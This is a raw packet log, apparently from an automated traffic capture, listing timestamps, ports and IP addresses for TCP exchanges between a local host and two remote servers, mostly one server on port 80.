Nov 20, 2024 17:41:47.691996098 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:47.745321989 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.745374918 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.745440006 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.745587111 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.745795012 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.745831966 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.745848894 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.745871067 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.746520996 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.746567011 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.746576071 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.746611118 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.746653080 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.747426033 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.747524023 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.747559071 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.747566938 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.747695923 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.748260021 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.748313904 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.748348951 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.748398066 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.749142885 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.749197006 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.749229908 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.749243021 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.749294043 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.750087976 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.750166893 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.750200987 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.750246048 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.751077890 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.751137018 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.751143932 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.751178980 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.751226902 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.751754999 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.751806974 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.751841068 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.752043962 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.752623081 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.752684116 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.752791882 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.752826929 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.752877951 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.753554106 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.753639936 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.753689051 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.753930092 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.754342079 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.754393101 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.754395962 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.754429102 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.754475117 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.755417109 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.755450010 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.755486965 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.755496979 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.756139994 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.756184101 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.756225109 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.756258965 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.756306887 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.756963015 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.757034063 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.757069111 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.757088900 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.757905006 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.757952929 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.757997990 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.758033037 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.758450985 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.758725882 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.758763075 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.758797884 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.758846045 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.759609938 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.759684086 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.759718895 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.759737968 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.759768009 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.760544062 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.760658979 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.760693073 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.760708094 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.761327028 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.761380911 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.761415005 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.761426926 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.761456013 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.762319088 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.762398958 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.762432098 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.762444973 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.763173103 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.763206005 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.763242006 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.763261080 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.763279915 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.763988018 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.764025927 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.764060020 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.764106035 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.764803886 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.765007973 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.765064955 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.765121937 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.765746117 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.765796900 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.766012907 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.766048908 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.766084909 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.766097069 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.766860008 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.766910076 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.766949892 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.766983032 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.767020941 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.767738104 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.767818928 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.767852068 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.767873049 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.768575907 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.768618107 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.768663883 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.768697977 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.768747091 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.769588947 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.769654036 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.769689083 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.769710064 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.769736052 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.770344973 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.770416975 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.770451069 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.770463943 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.771215916 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.771254063 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.771289110 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.771300077 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.771330118 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.772087097 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.772171021 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.772202969 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.772252083 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.773017883 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.773109913 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.773144960 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.773159981 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.773191929 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.773804903 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.773904085 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.773937941 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.773983955 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.774673939 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.774775982 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.774810076 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.774826050 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.775065899 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.775501966 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.829359055 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.937278032 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.937341928 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.937376976 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.937417984 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.937735081 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.937850952 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.937885046 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.937906981 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.937939882 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.938605070 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.938673019 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.938710928 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.938736916 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.940826893 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.940869093 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.940906048 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.940929890 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.940954924 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.940957069 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.940996885 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.941035986 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.941041946 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.941157103 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.941201925 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.941375971 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.941411018 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.941458941 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.942074060 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.942107916 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.942120075 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.942150116 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.942846060 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.942907095 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.942917109 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.942953110 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.943854094 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.943938017 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.943989038 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.944058895 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.944672108 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.944689035 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.944699049 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.944710016 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.944729090 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.945508003 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.945593119 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.945605993 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.945636988 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.946365118 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.946412086 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.946423054 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.946455002 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.947237968 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.947256088 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.947277069 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.947294950 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.948225021 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.948312998 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.948354959 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.948367119 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.948396921 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.948966980 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.949026108 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.949059963 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.949069977 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.949892998 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.949965954 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.949975014 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.950001001 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.950834036 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.950853109 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.950866938 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.950886965 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.950911999 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.951555967 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.951728106 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.951740980 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.951780081 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.951795101 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.952438116 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.952507973 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.952522039 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.952553988 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.953275919 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.953336954 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.953351021 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.953383923 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.953407049 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.954168081 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.954248905 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.954262018 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.954298973 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.955066919 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.955133915 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.955147028 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.955148935 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.955961943 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.956010103 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.956026077 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.956039906 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.956079960 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.956806898 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.956854105 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.956866980 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.956907034 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.957741022 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.957952976 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.958014011 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.958026886 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.958065033 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.958084106 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.958801031 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.958883047 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.958895922 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.958931923 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.959712029 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.959799051 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.959830999 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.959856987 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.959881067 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.960643053 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.960709095 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.960741997 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.960763931 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.964101076 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.964159966 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.964190960 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.964219093 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.964241028 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.964270115 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.964274883 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.964304924 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.964354992 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.964354992 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.964389086 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.964418888 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.964432001 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.964452028 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.964498043 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.964498997 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.964531898 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.964540005 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.964966059 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.964999914 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.965018988 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.965034008 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.965078115 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.965854883 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.965912104 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.965945005 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.965966940 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.966809988 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.966842890 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.966873884 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.966900110 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.966928005 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:47.967483044 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:47.971219063 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:47.971244097 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:48.016875982 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.129683018 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.129765987 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.129801035 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.129828930 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.129996061 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.130068064 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.130101919 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.130115032 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.130939960 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.130989075 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.130992889 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.131026983 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.131028891 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.131778002 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.131916046 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.131951094 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.131963968 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.131994009 CET	49758	80	192.168.2.7	185.215.113.16
